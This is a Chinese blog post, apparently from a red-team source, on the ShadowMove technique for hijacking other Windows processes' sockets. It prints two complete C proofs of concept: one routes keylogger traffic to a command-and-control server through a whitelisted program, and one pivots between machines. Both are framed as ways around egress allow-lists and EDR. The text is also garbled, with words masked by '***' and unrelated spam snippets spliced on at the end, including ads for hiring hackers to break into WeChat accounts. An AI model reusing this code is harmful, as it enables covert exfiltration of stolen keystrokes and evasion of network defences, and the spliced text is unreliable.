在这篇文章中,我们将跟大家介绍如何使用ShadowMove技术在合法程序的 *** 连接中隐藏自己的恶意链接。我们将展示两个使用ShadowMove技术的PoC,并隐藏我们的恶意软件所建立的连接。之一种 *** 是完全可靠的,但是第二种 *** 有自己的问题,如果你要在实际操作中使用它,就必须解决这些问题,我们将在文章的最后讨论这些问题。
ShadowMove是一种从non-cooperative进程中劫持Socket的新技术,发布于2020年USENIX大会上的一篇标题为《ShadowMove: A Stealthy Lateral Movement Strategy》的文章首次讨论了这一技术。这种技术利用了以下事实:AFD(辅助函数驱动程序)文件句柄被Windows API视为Socket句柄,因此可以使用WSADuplicateSocket()函数来复制它们。
从non-cooperative进程劫持Socket的一种常见模式,是从进程注入开始的,以便加载我们自己的逻辑来查找和复用目标Socket。但是在ShadowMove技术的帮助下,我们完全不需要注入任何东西:它只需要打开具有PROCESS_DUP_HANDLE权限的进程句柄。
在这个句柄的帮助下,我们可以开始复制所有其他的文件句柄,直到找到名为\Device\Afd的文件句柄,然后使用getpeername()检查它是否属于与目标的连接。
在我们最近的一次红队评估过程中,我们不得不在目标设备中安装我们的键盘记录器,但是它会屏蔽任何由非白名单二进制文件建立的任何连接。为了避免这个问题,我们需要向一个允许向外建立连接的进程中注入我们的键盘记录器。但是在ShadowMove技术的帮助下,我们可以避免任何可能由注入产生的噪声(没错,我们可以使用其他 *** 来绕过EDR,但到目前为止,这种 *** 更干净)。
假设我们有一个键盘记录程序,我们想使用ShadowMove将截获的密钥发送到我们的C&C。每当我们必须发送一批密钥时,我们需要运行一个合法的程序并尝试连接到我们的C&C,比如说mssql客户端。当建立连接之后,我们必须使用键盘记录器来劫持连接。当然,在企业环境中,我们还需要通过企业 *** 来设置连接,而不是直接连接到C&C,但是让我们暂时忘记这一点。
使用PROCESS_DUP_HANDLE权限打开所有者进程;
每一个句柄为0x24(文件)类型;
复制句柄;
检索句柄名称;
如果名称不是\device\afd,则跳过;
获取远程IP和远程端口号;
如果远程IP和端口与输入参数不匹配,则跳过;
调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构;
创建重复的Socket;
使用这个Socket;
为此,我们创建了一个名为“ShadowMove Gateway”的PoC。基本上,我们只需要提供进程PID和我们C&C的IP地址即可:
/
/ PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) ? #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <winsock2.h> #include <Windows.h> #include <stdio.h> ? #pragma comment(lib,"WS2_32") ? // Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp #define STATUS_INFO_LENGTH_MI *** ATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectNameInformation 1 ? ? ? typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI* _NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI* _NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); ? typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; ? typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; ? typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; ? ? typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS } POOL_TYPE, * PPOOL_TYPE; ? typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; ? PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName) { return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); } ? ? ? SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) { HANDLE hProc; PSYSTEM_HANDLE_INFORMATION handleInfo; DWORD handleInfoSize=0x10000; NTSTATUS status; DWORD returnLength; WSAPROTOCOL_INFOW wsaProtocolInfo={ 0 }; SOCKET targetSocket; ? // Open target process with PROCESS_DUP_HANDLE rights hProc=OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId); if (!hProc) { printf("[!] Error: could not open the process! "); exit(-1); } printf("[+] Handle to process obtained! "); ? // Find the functions _NtQuerySystemInformation NtQuerySystemInformation=(_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject=(_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); _NtQueryObject NtQueryObject=(_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); ? // Retrieve handles from the target process handleInfo=(PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status=NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL))==STATUS_INFO_LENGTH_MI *** ATCH) handleInfo=(PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *=2); ? printf("[+] Found [%d] handlers in PID %d ============================ ", handleInfo->HandleCount, dwProcessId); ? // Iterate for (DWORD i=0; i < handleInfo->HandleCount; i++) { ? // Check if it is the desired type of handle if (handleInfo->Handles[i].ObjectTypeNumber==0x24) { ? SYSTEM_HANDLE handle=handleInfo->Handles[i]; HANDLE dupHandle=NULL; POBJECT_NAME_INFORMATION objectNameInfo; ? // Dupplicate handle NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS); objectNameInfo=(POBJECT_NAME_INFORMATION)malloc(0x1000); ? // Get handle info NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength); ? // Narrow the search checking if the name length is correct (len(\Device\Afd)==11 * 2) if (objectNameInfo->Name.Length==22) { printf("[-] Testing %d of %d ", i, handleInfo->HandleCount); ? // Check if it ends in "Afd" LPWSTR needle=(LPWSTR)malloc(8); memcpy(needle, objectNameInfo->Name.Buffer + 8, 6); if (needle[0]=='A' && needle[1]=='f' && needle[2]=='d') { ? // We got a candidate printf(" [*] \\Device\\Afd found at %d! ", i); ? // Try to duplicate the socket status=WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo); if (status !=0) { printf(" [X] Error duplicating socket! "); free(needle); free(objectNameInfo); CloseHandle(dupHandle); continue; } ? // We got it? targetSocket=WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); if (targetSocket !=INVALID_SOCKET) { struct sockaddr_in sockaddr; DWORD len; len=sizeof(SOCKADDR_IN); ? // It this the socket? if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len)==0) { if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP)==0) { printf(" [*] Duplicated socket (%s) ", inet_ntoa(sockaddr.sin_addr)); free(needle); free(objectNameInfo); return targetSocket; } } ? } ? free(needle); } ? } free(objectNameInfo); ? } } ? return 0; } ? ? int main(int argc, char** argv) { WORD wVersionRequested; WSADATA wsaData; DWORD dwProcessId; LPWSTR dstIP=NULL; SOCKET targetSocket; char buff[255]={ 0 }; ? printf(" -=[ ShadowMove Gateway PoC ]=- "); ? // *** gateway.exe [PID] [IP dst] if (argc !=3) { printf("[!] Error: syntax is %s [PID] [IP dst] ", argv[0]); exit(-1); } dwProcessId=strtoul(argv[1], NULL, 10); dstIP=(LPSTR)malloc(strlen(argv[2]) * (char) + 1); memcpy(dstIP, argv[2], strlen(dstIP)); ? ? // Classic wVersionRequested=MAKEWORD(2, 2); WSAStartup(wVersionRequested, &wsaData); ? targetSocket=findTargetSocket(dwProcessId, dstIP); send(targetSocket, "Hello From the other side! ", strlen("Hello From the other side! "), 0); recv(targetSocket, buff, 255, 0); printf(" [*] Message from outside: %s ", buff); return 0; }
在这里,我们只需要从受感染设备发送一条“Hello from the other side!”消息给C&C服务器,然后C&C服务器就会返回一条“Stay hydrated!”给受感染设备。
我们刚刚看到了如何使用ShadowMove将程序转换为本地植入的 *** ,但同样的 *** 也可以用于两台机器之间的通信。设想一个场景,我们有三台机器:A <--> B <--> C。如果我们想从A访问C的公开服务,那么我们必须在B中转发流量(使用netsh或 *** )。当然了,我们也可以使用ShadowMove技术来实现这个目标。
我们只需要在B中执行两个合法程序:一个连接到A中的一个开放端口,另一个连接到C中的目标服务,然后劫持这两个Socket并桥接它们。
注意:假设我们想从A执行ldapsearch,而域控制器位于C。那么在A中,我们需要一个脚本来暴露这两个端口,一个从ldapsearch(A')接收连接,另一个从B(A'')接收连接。因此,在A'中接收的所有内容都被发送到A'(通过B连接),然后我们的网桥将所有内容转发到B和C之间的连接。
在B中执行的代码与我们以前使用的几乎相同:
// PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL) ? #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <winsock2.h> #include <Windows.h> #include <stdio.h> ? #pragma comment(lib,"WS2_32") ? // Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp #define STATUS_INFO_LENGTH_MI *** ATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectNameInformation 1 #define MSG_END_OF_TRAN *** ISSION "\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84" #define BUFSIZE 65536 ? typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI* _NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI* _NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); ? typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; ? typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; ? typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; ? ? typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS } POOL_TYPE, * PPOOL_TYPE; ? typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; ? PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName) { return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); } ? ? ? SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) { HANDLE hProc; PSYSTEM_HANDLE_INFORMATION handleInfo; DWORD handleInfoSize=0x10000; NTSTATUS status; DWORD returnLength; WSAPROTOCOL_INFOW wsaProtocolInfo={ 0 }; SOCKET targetSocket; ? // Open target process with PROCESS_DUP_HANDLE rights hProc=OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId); if (!hProc) { printf("[!] Error: could not open the process! "); exit(-1); } printf("[+] Handle to process obtained! "); ? // Find the functions _NtQuerySystemInformation NtQuerySystemInformation=(_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject=(_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); _NtQueryObject NtQueryObject=(_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); ? // Retrieve handles from the target process handleInfo=(PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status=NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL))==STATUS_INFO_LENGTH_MI *** ATCH) handleInfo=(PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *=2); ? printf("[+] Found [%d] handlers in PID %d ============================ ", handleInfo->HandleCount, dwProcessId); ? // Iterate for (DWORD i=0; i < handleInfo->HandleCount; i++) { ? // Check if it is the desired type of handle if (handleInfo->Handles[i].ObjectTypeNumber==0x24) { ? SYSTEM_HANDLE handle=handleInfo->Handles[i]; HANDLE dupHandle=NULL; POBJECT_NAME_INFORMATION objectNameInfo; ? // Dupplicate handle NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS); objectNameInfo=(POBJECT_NAME_INFORMATION)malloc(0x1000); ? // Get handle info NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength); ? // Narrow the search checking if the name length is correct (len(\Device\Afd)==11 * 2) if (objectNameInfo->Name.Length==22) { printf("[-] Testing %d of %d ", i, handleInfo->HandleCount); ? // Check if it ends in "Afd" LPWSTR needle=(LPWSTR)malloc(8); memcpy(needle, objectNameInfo->Name.Buffer + 8, 6); if (needle[0]=='A' && needle[1]=='f' && needle[2]=='d') { ? // We got a candidate printf(" [*] \\Device\\Afd found at %d! ", i); ? // Try to duplicate the socket status=WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo); if (status !=0) { printf(" [X] Error duplicating socket! "); free(needle); free(objectNameInfo); CloseHandle(dupHandle); continue; } ? // We got it? targetSocket=WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); if (targetSocket !=INVALID_SOCKET) { struct sockaddr_in sockaddr; DWORD len; len=sizeof(SOCKADDR_IN); ? // It this the socket? if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len)==0) { if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP)==0) { printf(" [*] Duplicated socket (%s) ", inet_ntoa(sockaddr.sin_addr)); free(needle); free(objectNameInfo); return targetSocket; } } ? } ? free(needle); } ? } free(objectNameInfo); ? } } ? return 0; } ? // Reused from MSSQLPROXY https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp void bridge(SOCKET fd0, SOCKET fd1) { int maxfd, ret; fd_set rd_set; size_t nread; char buffer_r[BUFSIZE]; maxfd=(fd0 > fd1) ? fd0 : fd1; while (1) { FD_ZERO(&rd_set); FD_SET(fd0, &rd_set); FD_SET(fd1, &rd_set); ret=select(maxfd + 1, &rd_set, NULL, NULL, NULL); if (ret < 0 && errno==EINTR) { continue; } if (FD_ISSET(fd0, &rd_set)) { nread=recv(fd0, buffer_r, BUFSIZE, 0); if (nread <=0) break; send(fd1, buffer_r, nread, 0); } if (FD_ISSET(fd1, &rd_set)) { nread=recv(fd1, buffer_r, BUFSIZE, 0); ? if (nread <=0) break; ? // End of tran *** ission if (nread >=strlen(MSG_END_OF_TRAN *** ISSION) && strstr(buffer_r, MSG_END_OF_TRAN *** ISSION) !=NULL) { send(fd0, buffer_r, nread - strlen(MSG_END_OF_TRAN *** ISSION), 0); break; } ? send(fd0, buffer_r, nread, 0); } } } ? ? int main(int argc, char** argv) { WORD wVersionRequested; WSADATA wsaData; DWORD dwProcessIdSrc; WORD dwProcessIdDst; LPSTR dstIP=NULL; LPSTR srcIP=NULL; SOCKET srcSocket; SOCKET dstSocket; ? printf(" -=[ ShadowMove Pivot PoC ]=- "); ? // *** pivot.exe [PID src] [PID dst] [IP dst] [IP src] if (argc !=5) { printf("[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst] ", argv[0]); exit(-1); } dwProcessIdSrc=strtoul(argv[1], NULL, 10); dwProcessIdDst=strtoul(argv[2], NULL, 10); ? dstIP=(LPSTR)malloc(strlen(argv[4]) * (char) + 1); memcpy(dstIP, argv[3], strlen(dstIP)); srcIP=(LPSTR)malloc(strlen(argv[3]) * (char) + 1); memcpy(srcIP, argv[4], strlen(srcIP)); ? // Classic wVersionRequested=MAKEWORD(2, 2); WSAStartup(wVersionRequested, &wsaData); ? srcSocket=findTargetSocket(dwProcessIdSrc, srcIP); ? dstSocket=findTargetSocket(dwProcessIdDst, dstIP); if (srcSocket==0) { printf(" [!] Error: could not attach to source socket"); return -1; } printf(" [<] Attached to SOURCE "); if (dstSocket==0) { printf(" [!] Error: could not attach to sink socket"); return -1; } printf("[>] Attached to SINK "); printf("============================ [Link up] ============================ "); bridge(srcSocket, dstSocket); printf("============================ [Link down] ============================ "); return 0; }
我们可以通过连接两个监听的netcat来进行测试,其中一个为10.0.2.2,另一个为10.0.2.15:
-=[ ShadowMove Pivot PoC ]=- ? [+] Handle to process obtained! [+] Found [66919] handlers in PID 5364============================[-] Testing 3779 of 66919 [-] Testing 10254 of 66919 [*] \Device\Afd found at 10254! [*] Duplicated socket (10.0.2.15) [+] Handle to process obtained! [+] Found [67202] handlers in PID 7596============================[-] Testing 3767 of 67202 [-] Testing 10240 of 67202 [*] \Device\Afd found at 10240! [*] Duplicated socket (10.0.2.2) ? [<] Attached to SOURCE [>] Attached to SINK============================[Link up]============================In one of our ends: ? psyconauta@insulanova:~/Research/shadowmove|? ?nc -lvp 8081 Listening on [0.0.0.0] (family 0, port 8081) Connection from localhost 59596 received! Hello from 10.0.2.15! This is me from 10.0.2.2!
我们在使用复制的Socket时,原始的程序还会持续进行数据读取。这也就意味着,如果程序代替我们读取某些字节,它们可能会丢失,但如果我们实现了一个处理丢失数据包的自定义协议,则可以很容易地解决这一问题。
如果在劫持Socket之前,连接因超时而关闭的话,我们就不能复用目标Socket了。
根据所使用的程序,可能会找到满足我们条件的旧句柄(getpeername返回目标IP,但句柄不能使用)。如果之一次连接尝试失败,可能会发生这种情况。要解决这个问题,只需改进检测 *** 。
找黑客查找地址相关问题 黑客为什么不去网赌相关问题 黑客进入手机什么状态 黑客自学教程手机变电脑(手机黑客入门教程)...
“三个代表”重要思想的形成,不仅表明我们党在理论的自觉性和实践的主动性上达到了一个新的高度,而且在马克思主义发展史上也是具有重大意义的事情。胡锦涛同志在“七一”重要讲话中,深刻阐明“三个代表”重要思想...
圣诞节是美国的一个盛大的节日,圣诞节在美国的重要性就相当于我国的春节,在美国,圣诞节的习俗也是非常多的,每年圣诞节美国的大街小巷就会布置上圣诞节的装饰,并进行一些圣诞节的传统活动,接下来大家就和小编一...
马上就要到520情人节了,很多人把微信头像都换成爱心形状的了,来表达自己对另一半的爱意。而微信心形头像怎么弄出来的呢?下面教教大家制作方法。 微信心形头像怎么弄制作方法 1.在【玩机小王子】公众号...
找黑客盗微信多少钱相关问题 黑客军团翻拍相关问题 黑客通过微信能做什么 一个人关注了你所有社交账号(一个人多个支付宝账号)...
看过妈妈是超人第三季后日常艳羡霍思燕,脑子里只想去偷娃,为何霍思燕被嗯哼宠得公主 但你确是大儿子的家庭保姆。看嗯哼怎样整体实力宠妈。 霍思燕是嗯哼的公主 霍思燕和嗯哼——很喜欢她们的相处模式,...